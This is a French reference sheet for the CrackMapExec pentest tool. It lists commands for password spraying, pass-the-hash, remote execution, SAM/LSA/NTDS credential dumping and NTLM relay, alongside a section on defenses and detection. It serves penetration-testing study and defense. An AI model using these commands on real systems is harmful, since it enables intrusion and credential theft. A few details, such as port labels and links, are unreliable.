CrackMapExec
📋 Fiche Outil : CrackMapExec (CME)
nxc). La syntaxe est quasi identique : crackmapexec smb = nxc smb. Il est recommandé d’utiliser NetExec (NXC) pour les nouvelles installations.
Outil Similaire : NetExec (nxc), enum4linux-ng, smbmap
Outil Complémentaire : Responder (capture NTLM), Impacket (relay, exec), BloodHound (cartographie AD), mimikatz (extraction credentials)
Liens utiles : Port 445 – SMB, Port 5985 – WinRM, Port 3389 – RDP, Port 389 – LDAP, Port 1433 – MSSQL
crackmapexec <protocole> <cible> [options]
Paramètres (Flags)
| Option | Description | Exemple d’utilisation |
|---|---|---|
-u |
Nom d’utilisateur ou fichier de noms | crackmapexec smb 10.10.10.5 -u admin |
-p |
Mot de passe ou fichier de mots de passe | crackmapexec smb 10.10.10.5 -u admin -p 'Pass123' |
-H |
Hash NTLM (Pass-the-Hash) | crackmapexec smb 10.10.10.5 -u admin -H <hash> |
-d |
Domaine Active Directory | crackmapexec smb 10.10.10.5 -u admin -p 'pass' -d CORP |
-x |
Exécuter une commande système (cmd) | crackmapexec smb 10.10.10.5 -u admin -p 'pass' -x "whoami" |
-X |
Exécuter une commande PowerShell | crackmapexec smb 10.10.10.5 -u admin -p 'pass' -X "Get-Process" |
-M |
Charger un module post-exploitation | crackmapexec smb 10.10.10.5 -u admin -p 'pass' -M mimikatz |
--shares |
Lister les partages SMB | crackmapexec smb 10.10.10.5 --shares |
--users |
Énumérer les utilisateurs du domaine | crackmapexec smb 10.10.10.5 --users |
--groups |
Énumérer les groupes du domaine | crackmapexec smb 10.10.10.5 --groups |
--rid-brute |
Énumération par RID cycling (sans credentials) | crackmapexec smb 10.10.10.5 --rid-brute |
--sam |
Dump de la base SAM locale | crackmapexec smb 10.10.10.5 -u admin -p 'pass' --sam |
--lsa |
Dump des secrets LSA | crackmapexec smb 10.10.10.5 -u admin -p 'pass' --lsa |
--ntds |
Dump de la base NTDS.dit (Domain Controller) | crackmapexec smb 10.10.10.5 -u admin -p 'pass' --ntds |
--sessions |
Lister les sessions actives | crackmapexec smb 10.10.10.5 -u admin -p 'pass' --sessions |
--pass-pol |
Récupérer la politique de mots de passe | crackmapexec smb 10.10.10.5 --pass-pol |
--gen-relay-list |
Générer une liste de cibles pour NTLM relay | crackmapexec smb --gen-relay-list targets.txt 10.10.10.0/24 |
--continue-on-success |
Continuer après un login valide (spray) | crackmapexec smb 10.10.10.5 -u users.txt -p 'pass' --continue-on-success |
Commandes Essentielles
| Commande | Description | Exemple |
|---|---|---|
crackmapexec smb <cible> |
Découverte de machines SMB sur le réseau | crackmapexec smb 192.168.1.0/24 |
crackmapexec smb <cible> -u '' -p '' |
Connexion anonyme / null session | crackmapexec smb 10.10.10.5 -u '' -p '' --shares |
crackmapexec smb <cible> -u <user> -p <pass> |
Test d’identifiants SMB | crackmapexec smb 10.10.10.5 -u admin -p 'Password1' |
crackmapexec smb <cible> -u <user> -H <hash> |
Pass-the-Hash | crackmapexec smb 10.10.10.5 -u admin -H aad3b435:5f4dcc3b |
crackmapexec winrm <cible> -u <user> -p <pass> |
Test d’accès WinRM | crackmapexec winrm 10.10.10.5 -u admin -p 'pass' |
crackmapexec smb <cible> -u <user> -p <pass> -x <cmd> |
Exécution de commande à distance | crackmapexec smb 10.10.10.5 -u admin -p 'pass' -x "whoami" |
Exemples Pratiques
1. Découverte et énumération réseau (sans credentials)
Scan d’un sous-réseau pour identifier les machines Windows et leurs infos SMB.
crackmapexec smb 192.168.1.0/24
_Explication : Scanne tout le sous-réseau en SMB. Affiche le nom de la machine, le domaine, la version de Windows et si SMB signing est activé._
crackmapexec smb 192.168.1.100 --shares --users --rid-brute
_Explication : Tente d’énumérer les partages, utilisateurs et effectue un RID cycling sur la cible, le tout sans credentials (null session). Toutes les machines ne le permettent pas._
2. Password Spraying sur un domaine
Test d’un mot de passe unique contre une liste d’utilisateurs pour trouver un accès initial.
crackmapexec smb 10.10.10.5 -u users.txt -p 'Welcome2024!' -d CORP.LOCAL --continue-on-success
_Explication : Teste le mot de passe Welcome2024! pour chaque utilisateur du fichier users.txt sur le domaine CORP.LOCAL. L’option --continue-on-success évite de s’arrêter au premier match. Un [+] vert indique un login valide, et (Pwn3d!) signifie que l’utilisateur a des droits admin local._
3. Pass-the-Hash et exécution de commandes
Utilisation d’un hash NTLM récupéré pour se latéraliser via WinRM.
crackmapexec winrm 10.10.10.5 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99' -d 'CORP.LOCAL'
_Explication : Authentification sur WinRM en Pass-the-Hash. Si (Pwn3d!) apparaît, on peut exécuter des commandes à distance._
crackmapexec smb 10.10.10.5 -u admin -p 'Password1' -x "whoami /all"
_Explication : Exécute la commande whoami /all via SMB sur la cible avec les credentials fournis._
4. Dump de credentials
Extraction de hash depuis la SAM, les secrets LSA ou la base NTDS (sur un DC).
# Dump SAM (hash locaux)
crackmapexec smb 192.168.1.100 -u admin -p 'Password1' --sam
# Dump LSA (secrets, comptes de service)
crackmapexec smb 192.168.1.100 -u admin -p 'Password1' --lsa
# Dump NTDS (tous les hash du domaine — uniquement sur un Domain Controller)
crackmapexec smb 10.10.10.5 -u admin -p 'Password1' --ntds
_Explication : --sam récupère les hash de la base SAM locale. --lsa extrait les secrets LSA (mots de passe en clair possibles, comptes machine). --ntds dump l’intégralité de la base Active Directory — extrêmement critique, nécessite des droits Domain Admin._
5. Génération de liste pour NTLM Relay
Créer un fichier de cibles vulnérables au NTLM relay (SMB signing désactivé).
crackmapexec smb --gen-relay-list smb_targets.txt 10.10.11.0/24
_Explication : Scanne le sous-réseau et identifie les machines avec SMB signing désactivé. Ces machines sont vulnérables au NTLM relay. Le résultat est sauvegardé dans smb_targets.txt._
Fonctionnalités Avancées
CME supporte plusieurs protocoles et dispose d’un système de modules chargeables pour étendre ses fonctionnalités.
Protocoles disponibles
| Protocole | Usage principal | Port |
|---|---|---|
smb |
Énumération AD, mouvement latéral, dump de hash | 445 |
winrm |
Exécution de commandes à distance | 5985/5986 |
rdp |
Test d’identifiants RDP | 3389 |
ssh |
Test d’identifiants SSH | 22 |
mssql |
Attaques sur bases SQL Server | 1433 |
ldap |
Énumération LDAP du domaine | 389 |
Modules post-exploitation
CME dispose de modules chargeables avec -M. Lister les modules disponibles :
crackmapexec smb -L
Modules notables :
# Mimikatz — extraction de credentials en mémoire
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M mimikatz
# Spider_plus — recherche de fichiers sensibles dans les partages
crackmapexec smb 192.168.1.100 -u admin -p 'pass' -M spider_plus
# WebDAV — énumération des services WebDAV
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M webdav
Base de données intégrée (cmedb)
CME stocke automatiquement tous les résultats dans une base SQLite locale. On peut la requêter avec cmedb :
cmedb
# Puis dans le shell interactif :
proto smb
creds
hosts
_Explication : Permet de retrouver les credentials et machines découverts lors de sessions précédentes sans relancer les scans._
Suivi & Recommandation
Workflow complet d’utilisation de CME dans un pentest AD.
Étape 1 — Découverte réseau et identification des cibles.
crackmapexec smb 10.10.10.0/24
Étape 2 — Énumération sans credentials (null session, RID brute).
crackmapexec smb 10.10.10.5 --shares --users --rid-brute --pass-pol
Étape 3 — Password spraying avec les utilisateurs découverts.
crackmapexec smb 10.10.10.5 -u users.txt -p 'Password123!' -d CORP --continue-on-success
Étape 4 — Avec des credentials valides, énumérer en profondeur.
crackmapexec smb 10.10.10.0/24 -u user1 -p 'pass' --shares --sessions
Étape 5 — Mouvement latéral et dump de credentials.
crackmapexec smb 10.10.10.0/24 -u admin -p 'pass' --sam --lsa
Étape 6 — (Optionnel) Génération de liste pour NTLM relay.
# Génère la liste de cibles vulnérables
crackmapexec smb --gen-relay-list smb_targets.txt 10.10.10.0/24
# Lance ntlmrelayx avec la liste
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
# Lance Responder sur l'interface réseau
sudo responder -I eth0
Combinaisons Utiles
CME s’intègre dans un workflow d’attaque AD complet avec Responder, Impacket et BloodHound.
# 1. Capturer des hash NTLM avec Responder
sudo responder -I eth0
# 2. Relayer vers les cibles vulnérables identifiées par CME
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support
# 3. Utiliser les credentials récupérés pour mouvement latéral
crackmapexec smb 10.10.10.0/24 -u admin -H <hash_récupéré> --sam
# Coupler CME + BloodHound pour cartographier les chemins d'attaque
crackmapexec smb 10.10.10.5 -u user -p 'pass' --ntds
# Puis importer les hash dans BloodHound pour visualiser les chemins vers Domain Admin
# Enrichir l'info sur les cibles
crackmapexec smb 192.168.1.0/24 --shares --users
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M spider_plus
Cas Particuliers & Pièges
(Pwn3d!)vs[+]: Un[+]signifie que les credentials sont valides.(Pwn3d!)signifie en plus que l’utilisateur a des droits administrateur local sur la machine — c’est lui qu’il faut cibler pour le dump et l’exécution de commandes.- SMB signing : Les machines avec SMB signing activé (obligatoire sur les DC par défaut) ne sont PAS vulnérables au NTLM relay.
--gen-relay-listfiltre automatiquement ces machines. - Lockout : Attention au password spraying — vérifier la politique de lockout avec
--pass-polavant de lancer un bruteforce massif. Un verrouillage de comptes peut alerter le SOC et bloquer les utilisateurs. - CME vs NetExec : CrackMapExec n’est plus maintenu. Utiliser
nxc(NetExec) qui est le fork actif avec la même syntaxe.crackmapexec smb=nxc smb. - Faux positifs : Certaines machines peuvent répondre positivement au scan SMB mais refuser l’authentification NTLM ou ne pas supporter certains modules.
Défense & Ressources
Contre-mesures & Détection
- Activer SMB signing sur toutes les machines (pas seulement les DC) pour bloquer le NTLM relay
- Désactiver NTLMv1 et forcer NTLMv2 minimum
- Politique de lockout : Configurer un seuil de verrouillage (ex : 5 tentatives) pour limiter le password spraying
- Logs à surveiller : Event ID 4625 (échec d’authentification), 4624 (connexion réussie type 3 réseau), 4776 (validation NTLM)
- IDS/IPS : Les signatures de CME/NetExec sont détectées par la plupart des EDR modernes (CrowdStrike, Defender for Endpoint, etc.)
- Segmentation réseau : Limiter l’accès SMB (port 445) entre postes de travail — le mouvement latéral repose sur cette accessibilité
- LAPS : Déployer Local Administrator Password Solution pour que chaque machine ait un mot de passe admin local unique — casse le mouvement latéral par réutilisation de credentials
Installation
# Préinstallé sur Kali Linux
# Sinon :
sudo apt install crackmapexec
# Ou via pipx (recommandé pour éviter les conflits)
pipx install crackmapexec
# Successeur NetExec (recommandé)
pipx install netexec
Équivalent Windows
CME est principalement utilisé depuis Linux (Kali), mais NetExec propose des builds Windows.
| Linux | Windows | Notes |
|---|---|---|
crackmapexec smb |
nxc.exe smb |
NetExec a des builds Windows |
crackmapexec winrm -x |
Invoke-Command (PowerShell) |
Exécution à distance native Windows |
crackmapexec smb --sam |
reg save / secretsdump.py |
Dump SAM par d’autres moyens |
Liens & Ressources
| Type | Lien |
|---|---|
| Documentation officielle (legacy) | [CrackMapExec Wiki](https://github.com/byt3bl33d3r/CrackMapExec/wiki) |
| NetExec (successeur) | [NetExec GitHub](https://github.com/Penntest-dad/NetExec) |
| HackTricks — CME | [HackTricks – CrackMapExec](https://book.hacktricks.wiki/en/windows-hardening/ntlm/places-to-steal-ntlm-creds.html) |
| Outils liés | [Responder](Responder.md), [[Impacket]], [BloodHound](BloodHound.md), [mimikatz](mimikatz.md), [smbclient](smbclient.md), [enum4linux](enum4linux.md) |
| Ports associés | Port 139 et 445 – SMB, Port 5985 – WinRM, Port 3389 – RDP, Port 389 et 636 – LADPS, Port 1433 – MySQL |